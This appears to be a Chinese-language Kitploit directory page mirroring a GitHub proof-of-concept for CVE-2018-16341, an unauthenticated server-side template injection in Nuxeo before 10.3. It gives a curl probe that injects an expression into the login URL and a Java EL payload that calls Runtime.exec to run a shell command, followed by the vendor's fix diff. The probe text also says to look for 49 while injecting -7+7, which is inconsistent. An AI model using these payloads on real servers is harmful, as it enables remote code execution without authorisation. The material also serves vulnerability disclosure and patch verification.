Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2018-16341 — CVE-2018-16341 - Nuxeo 未经身份验证即可利用服务端模板注入实现远程代码执行 | Kitploit
工具/GitHubGitHub/mpgn/cve-2018-16341
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubmpgn/cve-2018-16341

CVE-2018-16341

CVE-2018-16341 - Nuxeo 未经身份验证即可利用服务端模板注入实现远程代码执行

查看仓库
24127年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2018-16341

利用 SSTI 绕过 Nuxeo 认证实现远程代码执行(版本 < 10.3)- CVE-2018-16341

image

详细分析(非英文):

  • https://www.freebuf.com/vuls/193000.html
  • https://blog.riskivy.com/nuxeo-rce-analysis-cve-2018-16341/

安全公告:

  • https://github.com/nuxeo/nuxeo/commit/eb54a9145c6d8297eba9d7dafc74556e735fa388#diff-cf2094833ef0eea473d03bf6559f1798R97

注意:Nuxeo 9.x 版本已不再受支持,但已为 9.x 版本提供了热修复。就我而言,9.10 版本存在漏洞。


漏洞详情

此 PoC 利用服务端模板注入(SSTI)来实现位于文件 NuxeoUnknownResource.java 中的远程代码执行(RCE)。

  • 要检查 Nuxeo 是否存在漏洞,只需发送以下 payload 并检查数字 49:
root@kitploit:~
curl http://127.0.0.1:8080/nuxeo/login.jsp/pwn${-7+7}.xhtml"
  • 使用以下 payload 获取 RCE:
root@kitploit:~
${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/pwn.txt",null).waitFor()}

修复

root@kitploit:~
@@ -94,8 +92,13 @@ public void connect() throws IOException {
 
             @Override
             public InputStream getInputStream() throws IOException {
+                String message = "ERROR: facelet not found";
+                // NXP-25746
+                if (Framework.isDevModeSet() && !path.contains("$") && !path.contains("#")) {
+                    message += " at '" + path + "'";
+                }
                 String msg = "<span><span style=\"color:red;font-weight:bold;\">"
-                        + StringEscapeUtils.escapeHtml4(errorMessage) + "</span><br/></span>";
+                        + StringEscapeUtils.escapeHtml4(message) + "</span><br/></span>";
                 return new ByteArrayInputStream(msg.getBytes());
             }
         }
下载工具